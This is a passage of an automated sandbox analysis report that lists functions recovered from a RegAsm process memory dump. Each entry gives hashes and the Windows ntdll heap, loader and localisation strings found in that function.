                                • Instruction Fuzzy Hash: 9BA17EB190A3059FE761CF65C840B9FB7E8BB84715F004D2EF9989A241D774DA48CF92
                                Function 0304F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
                                • API String ID: 0-523794902
                                • Opcode ID: b4a2e8fae83835d37dabf39b7c3be043abf7f950b2c8a961ea687cbfdefce3e3
                                • Instruction ID: 68bb01f61e2824d6dd89ccac23f38b41a0fa0e9b16ad3dcfe9ee71a012002fb1
                                • Opcode Fuzzy Hash: b4a2e8fae83835d37dabf39b7c3be043abf7f950b2c8a961ea687cbfdefce3e3
                                • Instruction Fuzzy Hash: 174200B520A7829FC714DF68D894A6AFBE5FF88304F0849ADE4858B351D734DA81CB51
                                Function 0306B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
                                • API String ID: 0-122214566
                                • Opcode ID: f1eee508bdc4dc148ce57e08806870613c37bc7756854af11e1e581d229ef9c0
                                • Instruction ID: ecc8e9262662eb573c6d7332b33952e73c51e79b6cad029c58505b362bc06e58
                                • Opcode Fuzzy Hash: f1eee508bdc4dc148ce57e08806870613c37bc7756854af11e1e581d229ef9c0
                                • Instruction Fuzzy Hash: CBC14AB1B033659BDB24DB69C880BBEB7F9AF85700F188069E846DF695D7B4C844C390
                                Function 030863FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                                • API String ID: 0-792281065
                                • Opcode ID: 24bbe5bf86d5620ceb1ab343eb27b7dd152127ce8cd8074be795808490ed9279
                                • Instruction ID: 1a394b07e8d6ddb7627016b232370d822437d63c1e7a7a06f1f6cfa87a77000e
                                • Opcode Fuzzy Hash: 24bbe5bf86d5620ceb1ab343eb27b7dd152127ce8cd8074be795808490ed9279
                                • Instruction Fuzzy Hash: 85919938A03358DFDB29EF55D955BAEB7E8BF85B24F05042CEA506F681CB719840C7A0
                                Function 03082674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                Download Yara Rule
                                Strings
                                • RtlGetAssemblyStorageRoot, xrefs: 030C2160, 030C219A, 030C21BA
                                • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 030C2178
                                • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 030C219F
                                • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 030C2180
                                • SXS: %s() passed the empty activation context, xrefs: 030C2165
                                • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 030C21BF
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                                • API String ID: 0-861424205
                                • Opcode ID: 0e04c43471dc082dcbbe72b66baaf4bf3d50f583d1164718f924f5777d716365
                                • Instruction ID: 8a05155fd12aa8225c2c04181a24db91e1e029ba619961a195b0bc3f29c01b1a
                                • Opcode Fuzzy Hash: 0e04c43471dc082dcbbe72b66baaf4bf3d50f583d1164718f924f5777d716365
                                • Instruction Fuzzy Hash: 91313976F433557BEB20DB998C41F6FB6BCDBA5E40F094859BE05AB241D270DA00C7A0
                                Function 0308C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                Download Yara Rule
                                Strings
                                • Loading import redirection DLL: '%wZ', xrefs: 030C8170
                                • minkernel\ntdll\ldrinit.c, xrefs: 0308C6C3
                                • minkernel\ntdll\ldrredirect.c, xrefs: 030C8181, 030C81F5
                                • LdrpInitializeProcess, xrefs: 0308C6C4
                                • LdrpInitializeImportRedirection, xrefs: 030C8177, 030C81EB
                                • Unable to build import redirection Table, Status = 0x%x, xrefs: 030C81E5
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                                • API String ID: 0-475462383
                                • Opcode ID: df5f32282eb6c68e2df60cd9d3d6bb292b730ed077d7957468f177cb5e2fed18
                                • Instruction ID: 46ab1053ea787b885113d0f4184b3ba432268e50307be7aab198c5086c5d1f09
                                • Opcode Fuzzy Hash: df5f32282eb6c68e2df60cd9d3d6bb292b730ed077d7957468f177cb5e2fed18
                                • Instruction Fuzzy Hash: E53124797463419FC214EF28D945E5EB7E8EFC4B10F044968F8916F291E720EC04C7A6
                                Function 030751EF Relevance: 6.7, Strings: 5, Instructions: 434COMMON
                                Download Yara Rule
                                Strings
                                • Kernel-MUI-Number-Allowed, xrefs: 03075247
                                • WindowsExcludedProcs, xrefs: 0307522A
                                • Kernel-MUI-Language-Allowed, xrefs: 0307527B
                                • Kernel-MUI-Language-SKU, xrefs: 0307542B
                                • Kernel-MUI-Language-Disallowed, xrefs: 03075352
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                • API String ID: 0-258546922
                                • Opcode ID: 1f97568edfbafdd731e0b0721049b7f30be9f535ee906f9134a525b0020e3544
                                • Instruction ID: 5fc6c7ba18c4fa36ebce6678001406b17f06c915dfa9e546ca9e7f59f5c7f910
                                • Opcode Fuzzy Hash: 1f97568edfbafdd731e0b0721049b7f30be9f535ee906f9134a525b0020e3544
                                • Instruction Fuzzy Hash: FFF13C76D02229EFCB15DF98CD80AEEBBF9FF49650F15406AE501AB250D7709E01CBA4
                                Function 0307D7B0 Relevance: 6.4, Strings: 5, Instructions: 151COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
                                • API String ID: 0-1975516107
                                • Opcode ID: 5fd444ee0fa64f017b12b28121f872f36bd1d796745cc3ba3bca08ce4e31e270
                                • Instruction ID: f309372b8557013902594b41156dd53b4f72c61e89875315e0c814720f056e3e
                                • Opcode Fuzzy Hash: 5fd444ee0fa64f017b12b28121f872f36bd1d796745cc3ba3bca08ce4e31e270
                                • Instruction Fuzzy Hash: 5E512679E02345DFCB98EFA4C8847DEBBF2BF88314F184159D4116B295D770A981CBA4
                                Function 030476B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
                                • API String ID: 0-3061284088
                                • Opcode ID: aa43eadf64bfcf7b01aa5d4d25bc51312daff138858596badf1a7831f69e4f0f
                                • Instruction ID: 07f5a97b88ab4cea63a3cd1ce4e262247d73aa252c40a8d8252c2626af4b5416
                                • Opcode Fuzzy Hash: aa43eadf64bfcf7b01aa5d4d25bc51312daff138858596badf1a7831f69e4f0f
                                • Instruction Fuzzy Hash: C901DD76117B50EED229D7ACB409F96BBD4DB42F70F194055E0504F592CEA4DD84C260
                                Function 030670C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                • API String ID: 0-3178619729
                                • Opcode ID: a8f92728f41dff47c834d0c0bdc717173f4e9a49b996a86fbfdc6877e5e567e1
                                • Instruction ID: 7130e701393fab1d72b22d269366d8e6d0316abf5ef863af1d727d298497be9d
                                • Opcode Fuzzy Hash: a8f92728f41dff47c834d0c0bdc717173f4e9a49b996a86fbfdc6877e5e567e1
                                • Instruction Fuzzy Hash: 4E13BD70A02215DFDB65CF68C8907ADFBF1BF48704F1885A9D849AB389D734A945CF90
                                Function 03061070 Relevance: 5.9, Strings: 4, Instructions: 940COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
                                • API String ID: 0-3570731704
                                • Opcode ID: 5e63d06dd75009585ddf9feb52e61e40b895ace0f1c73ddefebfd97b1d12a787
                                • Instruction ID: c6401a232b5d2269c7742812f5b564c8c3352a3bb05a1aa17311f491cb60675a
                                • Opcode Fuzzy Hash: 5e63d06dd75009585ddf9feb52e61e40b895ace0f1c73ddefebfd97b1d12a787
                                • Instruction Fuzzy Hash: 5A925C75A02329CFEB64CF18CC40BA9B7B5BF49310F0985EAD949AB294D7349E80CF51
                                Function 0305A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                • API String ID: 0-379654539
                                • Opcode ID: 6b573af3d141cdc65c434caee3017763cffaab44d9fffc441f847ae9e782307a
                                • Instruction ID: 798356e1a94be8fd568d6fbc38a1b0951bcbdc621f13318c5d04d651f1e19fe5
                                • Opcode Fuzzy Hash: 6b573af3d141cdc65c434caee3017763cffaab44d9fffc441f847ae9e782307a
                                • Instruction Fuzzy Hash: 93C16A7460A3828FC712DF58C044BABB7F8BF88744F044E6AF8958B650E735CA49CB56
                                Function 0308273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                                Download Yara Rule
                                Strings
                                • .Local, xrefs: 030828D8
                                • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 030C22B6
                                • SXS: %s() passed the empty activation context, xrefs: 030C21DE
                                • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 030C21D9, 030C22B1
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                                • API String ID: 0-1239276146
                                • Opcode ID: af073e696ad2bb0d818ff72861d4aa1c374eb1b7eeb201e469bc47920a11c4da
                                • Instruction ID: 96a759d426f20963d5e1a5f0fafc1bfc6b4d5da9b1e419d377c9460522ad265e
                                • Opcode Fuzzy Hash: af073e696ad2bb0d818ff72861d4aa1c374eb1b7eeb201e469bc47920a11c4da
                                • Instruction Fuzzy Hash: ADA1A135902229DBCF64DF54D884BADB3B9BF58314F1949EAD888AB251D7309E81CF90
                                Function 0304F626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
                                • API String ID: 0-2586055223
                                • Opcode ID: 2aea641e2cb7d8f83f23bde116919f498a2d5e6b2b03ff305c24f78b9d3fff00
                                • Instruction ID: 5ecc0c4a9bd9513997d698c6e8c27ff19a7c76f1856495ee46c58a919ce8efd9
                                • Opcode Fuzzy Hash: 2aea641e2cb7d8f83f23bde116919f498a2d5e6b2b03ff305c24f78b9d3fff00
                                • Instruction Fuzzy Hash: 40613676206B41AFD721DB68E844F6BB7E8FF80750F080868F9958B291D734EA41C761
                                Function 031011A4 Relevance: 5.1, Strings: 4, Instructions: 113COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
                                • API String ID: 0-336120773
                                • Opcode ID: 83bcc3f3e6d8f892a8edf05f4d4acc85760a4641c80d85d3f3d67e53cbaa4652
                                • Instruction ID: 44f022eec3b8f3635f25787ba684923d9c25914481149c43a867bd4b7d95971d
                                • Opcode Fuzzy Hash: 83bcc3f3e6d8f892a8edf05f4d4acc85760a4641c80d85d3f3d67e53cbaa4652
                                • Instruction Fuzzy Hash: 6831BF79212210FFD714DBA8C881FAAB7E8EB4D720F290076E441CB291DBB8DD80C654
                                Function 03049148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
                                • API String ID: 0-1391187441
                                • Opcode ID: 3f98b502354f26c8bffa11ed97cbace310445f212be6640f3ab439b3133d9d41
                                • Instruction ID: 5077dcaef03c140dc8a99e926bddd1c1e135d5dc822a137be9a4170441ac55b5
                                • Opcode Fuzzy Hash: 3f98b502354f26c8bffa11ed97cbace310445f212be6640f3ab439b3133d9d41
                                • Instruction Fuzzy Hash: 7F31A076602614EFCB01DB99C884FAEBBF8EF46720F1444B5E814AB291D770EE40CA60
                                Function 03060770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                • API String ID: 0-4253913091
                                • Opcode ID: 17b4fc991890affd16b24d5e43d51e8cf4c951c5dc52cc019149281d37d15aef
                                • Instruction ID: 8e56ce6b8af8d32db0cbee4e7f51fbfa91cc9706b518a67073c6f11f602bfdd9
                                • Opcode Fuzzy Hash: 17b4fc991890affd16b24d5e43d51e8cf4c951c5dc52cc019149281d37d15aef
                                • Instruction Fuzzy Hash: 7CF1CC34A46605EFDB15CF68C880BAEB7F5FF46300F1885A8E4569B385D730E981CBA0
                                Function 0305B6C0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
                                • API String ID: 0-1145731471
                                • Opcode ID: 61af0688cbb10ababf5989dbf1bdbad6641e22c72090a1d5ff538e5f36e14119
                                • Instruction ID: 9948cb39bfa9a2ae45d660cc65a75ae7a89327168416b577c5745ab433ee09a3
                                • Opcode Fuzzy Hash: 61af0688cbb10ababf5989dbf1bdbad6641e22c72090a1d5ff538e5f36e14119
                                • Instruction Fuzzy Hash: 96B18039A067599FCB25CF59C980BEEB7F5AF84714F28896AE851DB380D730E840CB51
                                Function 030D368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @$DelegatedNtdll$\SystemRoot\system32\
                                • API String ID: 0-2391371766
                                • Opcode ID: dbd2dbc7bd51113d5bb1310f768d41228ac3a82a7dd702bf9e234649c01fbd4b
                                • Instruction ID: 0058ad70adfae5be5fc45b27f35910b8512547ec36d8afbb79b096af68e95cad
                                • Opcode Fuzzy Hash: dbd2dbc7bd51113d5bb1310f768d41228ac3a82a7dd702bf9e234649c01fbd4b
                                • Instruction Fuzzy Hash: 7DB1C17A606345AFE721DF54CC80F6BB7E8FB89714F04086AFA519B290D771E844CB92
                                Function 0304A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: FilterFullPath$UseFilter$\??\
                                • API String ID: 0-2779062949
                                • Opcode ID: e380a38f4feb608f0ad2e95670d6dff4c09939d0d91a4a0dd48d66bd58f4b430
                                • Instruction ID: 52609e31748571d0bce53abc1e2c1aeb1bbf5905be53edbadec1b67f086fb973
                                • Opcode Fuzzy Hash: e380a38f4feb608f0ad2e95670d6dff4c09939d0d91a4a0dd48d66bd58f4b430
                                • Instruction Fuzzy Hash: C3A190769026289BDB31DF68DC88BEAB7B8EF44700F0501E9E909EB250D7359E84CF54
                                Function 030E36EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
                                • API String ID: 0-318774311
                                • Opcode ID: 2759f387b4dc875135d098679fe051c031dfa90dc8eeca06159892e9c8d00128
                                • Instruction ID: 269c8a1409ee6b0155bb91ad163ef391f0df7e966868b96776b857468dae1171
                                • Opcode Fuzzy Hash: 2759f387b4dc875135d098679fe051c031dfa90dc8eeca06159892e9c8d00128
                                • Instruction Fuzzy Hash: 09818B7970A341AFE721DB14C844B6BBBE8EF85750F0809ADF9919B390D774D904CBA2
                                Function 0308909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON
                                Download Yara Rule
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: %$&$@
                                • API String ID: 0-1537733988
                                • Opcode ID: c4ebf0710f68c1decffca8c4e725f738d405fc02eb7ef3d152d8c10e471f1922
                                • Instruction ID: 486e65692ea2adc1fa337e68e795f3bcde22d7ad7106616f2adabc82efb3ed18
                                • Opcode Fuzzy Hash: c4ebf0710f68c1decffca8c4e725f738d405fc02eb7ef3d152d8c10e471f1922
                                • Instruction Fuzzy Hash: 8571AD7460A7419FCB54FF24C980A6FBBE9BFC9618F148A1DE4D68B690C730E805CB52
                                Function 0312B73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON
                                Download Yara Rule
                                Strings
                                • GlobalizationUserSettings, xrefs: 0312B834
                                • \Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 0312B82A
                                • TargetNtPath, xrefs: 0312B82F
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
                                • API String ID: 0-505981995
                                • Opcode ID: 2edfd0c84604516f245e99a4f9449c35ac7f8c06bad5669a1c51f778b1e2257b
                                • Instruction ID: e83d142c08ab59e14e771960dcafa9136cc6fb973406f1fd4910ffc4ecd33495
                                • Opcode Fuzzy Hash: 2edfd0c84604516f245e99a4f9449c35ac7f8c06bad5669a1c51f778b1e2257b
                                • Instruction Fuzzy Hash: 9B61AFB2942639AFDB31DF55CC88BDABBB8AF58710F0141E5E508AB250D7749E80CF90
                                Function 0304F7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON
                                Download Yara Rule
                                Strings
                                • HEAP: , xrefs: 030AE6B3
                                • RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 030AE6C6
                                • HEAP[%wZ]: , xrefs: 030AE6A6
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
                                • API String ID: 0-1340214556
                                • Opcode ID: 7d6593f8a584de59757cdabd7b2998cd6146dfd7836a5416a3ae25c93656c411
                                • Instruction ID: bbc152bad6f871e7e46555b19c6723a43b44c3f512b37edeed65aa547de92c38
                                • Opcode Fuzzy Hash: 7d6593f8a584de59757cdabd7b2998cd6146dfd7836a5416a3ae25c93656c411
                                • Instruction Fuzzy Hash: B85106B5602B45EFD722DBA8D854FAABBF8EF05340F0804A4E5818F692D774EA50CB50
                                Function 0308C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON
                                Download Yara Rule
                                Strings
                                • minkernel\ntdll\ldrinit.c, xrefs: 030C82E8
                                • LdrpInitializePerUserWindowsDirectory, xrefs: 030C82DE
                                • Failed to reallocate the system dirs string !, xrefs: 030C82D7
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                • API String ID: 0-1783798831
                                • Opcode ID: ab7cb87fa9c608846a60d3639ba01c5f574e46637e60428f729dec866451a037
                                • Instruction ID: 5bf972a748d3f54fb65b4635e0fc2ee090d0d835fb00f205e85332aa9d13a8e1
                                • Opcode Fuzzy Hash: ab7cb87fa9c608846a60d3639ba01c5f574e46637e60428f729dec866451a037
                                • Instruction Fuzzy Hash: 6F410DF9516300ABD724FB64D844B9FB7F8EF89610F04482AF988DB290E770D840CBA5
                                Function 030816CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON
                                Download Yara Rule
                                Strings
                                • LdrpAllocateTls, xrefs: 030C1B40
                                • TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 030C1B39
                                • minkernel\ntdll\ldrtls.c, xrefs: 030C1B4A
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
                                • API String ID: 0-4274184382
                                • Opcode ID: 607e5fbd8f5b9c2fd0542e65e267c987924d1d58e3c88cddca04aaaaf3079d62
                                • Instruction ID: f0f4c9e082b2e02629c72565cfa1c079f092ce51decded506d4645290514de03
                                • Opcode Fuzzy Hash: 607e5fbd8f5b9c2fd0542e65e267c987924d1d58e3c88cddca04aaaaf3079d62
                                • Instruction Fuzzy Hash: 1B419D79A02648EFCB18DFA8C841BEEF7F5FF88714F048559E406AB210D775A801CB90
                                Function 0310C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                Download Yara Rule
                                Strings
                                • @, xrefs: 0310C1F1
                                • PreferredUILanguages, xrefs: 0310C212
                                • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0310C1C5
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                • API String ID: 0-2968386058
                                • Opcode ID: 771a311e949b9e0f40b1b32e6ab8bd9a3c28534e7c5f00a3c42bcee03ade4728
                                • Instruction ID: e3cccc88d3bd8d6ad4afddadfcda3b06b803e5b4628adcde505206992dd7ec29
                                • Opcode Fuzzy Hash: 771a311e949b9e0f40b1b32e6ab8bd9a3c28534e7c5f00a3c42bcee03ade4728
                                • Instruction Fuzzy Hash: 2C417F76E01209EBDF11DAD4C881BEEB7BCAB4C700F14416AE905BB6A0D7B49A448F90
                                Function 030E4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
